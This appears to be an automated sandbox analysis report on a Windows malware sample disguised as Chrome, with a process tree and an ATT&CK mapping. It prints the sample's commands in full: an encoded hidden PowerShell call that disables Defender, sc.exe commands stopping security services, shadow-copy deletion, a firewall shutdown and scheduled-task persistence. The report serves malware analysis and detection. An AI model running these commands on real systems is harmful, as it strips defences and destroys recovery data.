PID 1840 wrote to memory of 5832	1840	chrome.exe	109
PID 1840 wrote to memory of 5832	1840	chrome.exe	109
PID 4224 wrote to memory of 5380	4224	bombslot42-th.co_chrome.exe	110
PID 4224 wrote to memory of 3492	4224	bombslot42-th.co_chrome.exe	112
PID 4224 wrote to memory of 2012	4224	bombslot42-th.co_chrome.exe	114
PID 1840 wrote to memory of 3448	1840	chrome.exe	116
PID 1840 wrote to memory of 3448	1840	chrome.exe	116
PID 4224 wrote to memory of 3396	4224	bombslot42-th.co_chrome.exe	117
PID 4224 wrote to memory of 916	4224	bombslot42-th.co_chrome.exe	118
PID 4224 wrote to memory of 2880	4224	bombslot42-th.co_chrome.exe	120
PID 3396 wrote to memory of 5220	3396	fodhelper.exe	179
PID 4224 wrote to memory of 1372	4224	bombslot42-th.co_chrome.exe	123
PID 4224 wrote to memory of 912	4224	bombslot42-th.co_chrome.exe	125
PID 4224 wrote to memory of 5736	4224	bombslot42-th.co_chrome.exe	131
PID 4224 wrote to memory of 988	4224	bombslot42-th.co_chrome.exe	182
PID 4224 wrote to memory of 4472	4224	bombslot42-th.co_chrome.exe	178
PID 4224 wrote to memory of 428	4224	bombslot42-th.co_chrome.exe	139
PID 4224 wrote to memory of 2640	4224	bombslot42-th.co_chrome.exe	140
PID 4224 wrote to memory of 2796	4224	bombslot42-th.co_chrome.exe	142
PID 4224 wrote to memory of 2332	4224	bombslot42-th.co_chrome.exe	144
PID 4224 wrote to memory of 5552	4224	bombslot42-th.co_chrome.exe	146
PID 2332 wrote to memory of 2960	2332	net.exe	148
PID 4224 wrote to memory of 4232	4224	bombslot42-th.co_chrome.exe	150
PID 4224 wrote to memory of 2184	4224	bombslot42-th.co_chrome.exe	152
PID 4224 wrote to memory of 420	4224	bombslot42-th.co_chrome.exe	153
PID 4224 wrote to memory of 5080	4224	bombslot42-th.co_chrome.exe	154
PID 4224 wrote to memory of 2404	4224	bombslot42-th.co_chrome.exe	155
PID 4224 wrote to memory of 2024	4224	bombslot42-th.co_chrome.exe	156
PID 4224 wrote to memory of 788	4224	bombslot42-th.co_chrome.exe	157
PID 4224 wrote to memory of 2684	4224	bombslot42-th.co_chrome.exe	163
PID 4224 wrote to memory of 316	4224	bombslot42-th.co_chrome.exe	164
PID 4224 wrote to memory of 1612	4224	bombslot42-th.co_chrome.exe	168
PID 4224 wrote to memory of 1500	4224	bombslot42-th.co_chrome.exe	169
PID 5080 wrote to memory of 2280	5080	cmd.exe	171
PID 788 wrote to memory of 5556	788	cmd.exe	172
PID 420 wrote to memory of 4020	420	cmd.exe	173
PID 4232 wrote to memory of 3552	4232	cmd.exe	174
PID 2404 wrote to memory of 2724	2404	cmd.exe	175
PID 2184 wrote to memory of 4536	2184	cmd.exe	176
PID 2024 wrote to memory of 2432	2024	cmd.exe	177
PID 2724 wrote to memory of 4472	2724	net.exe	178
PID 4232 wrote to memory of 5220	4232	cmd.exe	179
PID 1840 wrote to memory of 4240	1840	chrome.exe	180
PID 1840 wrote to memory of 2380	1840	chrome.exe	181
PID 1840 wrote to memory of 988	1840	chrome.exe	182
PID 1840 wrote to memory of 2380	1840	chrome.exe	181
PID 1840 wrote to memory of 988	1840	chrome.exe	182

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\bombslot42-th.co_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\bombslot42-th.co_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4224
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://bombslot42-th.co
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:1840
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff89ebbc728,0x7ff89ebbc734,0x7ff89ebbc740
    3⤵
    PID:5920
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,4558458193492480034,3256211550757990237,524288 --field-trial-handle=1904,i,8095279102187990547,4196771098779300734,262144 --variations-seed-version --mojo-platform-channel-handle=1856 /prefetch:11
    3⤵
    - System Time Discovery
    PID:5612
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1604,i,10795067770747957058,7812740787517507450,262144 --field-trial-handle=1904,i,8095279102187990547,4196771098779300734,262144 --variations-seed-version --mojo-platform-channel-handle=1900 /prefetch:2
    3⤵
    PID:4888
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2288,i,6030352072815558311,18013237808105624406,524288 --field-trial-handle=1904,i,8095279102187990547,4196771098779300734,262144 --variations-seed-version --mojo-platform-channel-handle=2300 /prefetch:13
    3⤵
    PID:1364
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3136,i,5597561202455107353,12517062048320608287,2097152 --field-trial-handle=1904,i,8095279102187990547,4196771098779300734,262144 --variations-seed-version --mojo-platform-channel-handle=3260 /prefetch:1
    3⤵
    PID:2896
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3152,i,3179286469323406803,2883234020934582510,2097152 --field-trial-handle=1904,i,8095279102187990547,4196771098779300734,262144 --variations-seed-version --mojo-platform-channel-handle=3296 /prefetch:1
    3⤵
    PID:1768
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4700,i,9597236144801375705,17905383767275850766,524288 --field-trial-handle=1904,i,8095279102187990547,4196771098779300734,262144 --variations-seed-version --mojo-platform-channel-handle=4712 /prefetch:14
    3⤵
    PID:5832
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4864,i,15237318527029545904,11847964809692051858,2097152 --field-trial-handle=1904,i,8095279102187990547,4196771098779300734,262144 --variations-seed-version --mojo-platform-channel-handle=4884 /prefetch:1
    3⤵
    PID:3448
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5320,i,12483702426145469588,11256679073819663585,524288 --field-trial-handle=1904,i,8095279102187990547,4196771098779300734,262144 --variations-seed-version --mojo-platform-channel-handle=5380 /prefetch:14
    3⤵
    PID:4240
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5452,i,17876298182483319801,4417705547925727114,2097152 --field-trial-handle=1904,i,8095279102187990547,4196771098779300734,262144 --variations-seed-version --mojo-platform-channel-handle=5464 /prefetch:1
    3⤵
    PID:2380
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5492,i,13927741177216313045,17380910003422006254,2097152 --field-trial-handle=1904,i,8095279102187990547,4196771098779300734,262144 --variations-seed-version --mojo-platform-channel-handle=5512 /prefetch:1
    3⤵
    PID:988
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5788,i,1045503092106844005,4715432740386921609,2097152 --field-trial-handle=1904,i,8095279102187990547,4196771098779300734,262144 --variations-seed-version --mojo-platform-channel-handle=5528 /prefetch:1
    3⤵
    PID:5264
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5780,i,8088000829868496103,16341207401557457423,524288 --field-trial-handle=1904,i,8095279102187990547,4196771098779300734,262144 --variations-seed-version --mojo-platform-channel-handle=5940 /prefetch:14
    3⤵
    PID:2532
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5936,i,13470336878542442468,497871008385518169,2097152 --field-trial-handle=1904,i,8095279102187990547,4196771098779300734,262144 --variations-seed-version --mojo-platform-channel-handle=5492 /prefetch:1
    3⤵
    PID:4140
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5512,i,2209872799734880996,9752391447222291384,2097152 --field-trial-handle=1904,i,8095279102187990547,4196771098779300734,262144 --variations-seed-version --mojo-platform-channel-handle=5768 /prefetch:1
    3⤵
    PID:5924
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=6080,i,10576784296796761221,10180033266262425619,2097152 --field-trial-handle=1904,i,8095279102187990547,4196771098779300734,262144 --variations-seed-version --mojo-platform-channel-handle=5936 /prefetch:1
    3⤵
    PID:2524
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=4796,i,8331938586610161621,13312971662220736742,2097152 --field-trial-handle=1904,i,8095279102187990547,4196771098779300734,262144 --variations-seed-version --mojo-platform-channel-handle=5660 /prefetch:1
    3⤵
    PID:4600
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5484,i,8687978067639610992,3990569642261940496,2097152 --field-trial-handle=1904,i,8095279102187990547,4196771098779300734,262144 --variations-seed-version --mojo-platform-channel-handle=5516 /prefetch:1
    3⤵
    PID:320
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=3152,i,14090278144028474850,3340400125753095288,524288 --field-trial-handle=1904,i,8095279102187990547,4196771098779300734,262144 --variations-seed-version --mojo-platform-channel-handle=5524 /prefetch:14
    3⤵
    PID:4304
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6020,i,12271033084836591250,783141582069087849,524288 --field-trial-handle=1904,i,8095279102187990547,4196771098779300734,262144 --variations-seed-version --mojo-platform-channel-handle=5492 /prefetch:14
    3⤵
    PID:1704
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=5780,i,8605457062092211634,9146303833104762559,2097152 --field-trial-handle=1904,i,8095279102187990547,4196771098779300734,262144 --variations-seed-version --mojo-platform-channel-handle=6092 /prefetch:9
    3⤵
    PID:3196
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5740,i,12041203596688090809,1172276839745659719,2097152 --field-trial-handle=1904,i,8095279102187990547,4196771098779300734,262144 --variations-seed-version --mojo-platform-channel-handle=6080 /prefetch:1
    3⤵
    PID:4976
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5804,i,10484084848020112320,13449881987038543928,524288 --field-trial-handle=1904,i,8095279102187990547,4196771098779300734,262144 --variations-seed-version --mojo-platform-channel-handle=6016 /prefetch:14
    3⤵
    PID:2980
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4780,i,17496068293690541968,10570310992232341746,524288 --field-trial-handle=1904,i,8095279102187990547,4196771098779300734,262144 --variations-seed-version --mojo-platform-channel-handle=4796 /prefetch:14
    3⤵
    PID:4616
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6232,i,6476399245616004559,4920884930892956360,524288 --field-trial-handle=1904,i,8095279102187990547,4196771098779300734,262144 --variations-seed-version --mojo-platform-channel-handle=6204 /prefetch:14
    3⤵
    PID:3568
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=4744,i,13751481610853656847,1223886360827763084,262144 --field-trial-handle=1904,i,8095279102187990547,4196771098779300734,262144 --variations-seed-version --mojo-platform-channel-handle=5100 /prefetch:10
    3⤵
    PID:4748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4388
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:2528
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5648
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:3380
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:1528
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:5760
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:5380
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:3492
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2012
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3396
- - C:\Users\Admin\AppData\Local\Temp\bombslot42-th.co_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\bombslot42-th.co_chrome.exe"
    3⤵
    PID:5220
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:916
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2880
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1372
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:912
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:5736
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\bombslot42-th.co_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:988
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\bombslot42-th.co_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4472
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:428
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2640
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2796
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2332
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:2960
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:5552
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4232
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3552
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5220
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2184
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:4536
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:420
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:4020
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5080
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:2280
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2404
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2724
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:4472
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2024
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:2432
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:788
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5648
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:5556
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:2684
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\bombslot42-th.co_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:316
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:1612
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:1500

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3108

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5896

C:\Users\Admin\AppData\Local\Temp\bombslot42-th.co_chrome.exe
C:\Users\Admin\AppData\Local\Temp\bombslot42-th.co_chrome.exe
1⤵
PID:5840

C:\Users\Admin\AppData\Local\Temp\bombslot42-th.co_chrome.exe
C:\Users\Admin\AppData\Local\Temp\bombslot42-th.co_chrome.exe
1⤵
PID:4752

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2836

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:396

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery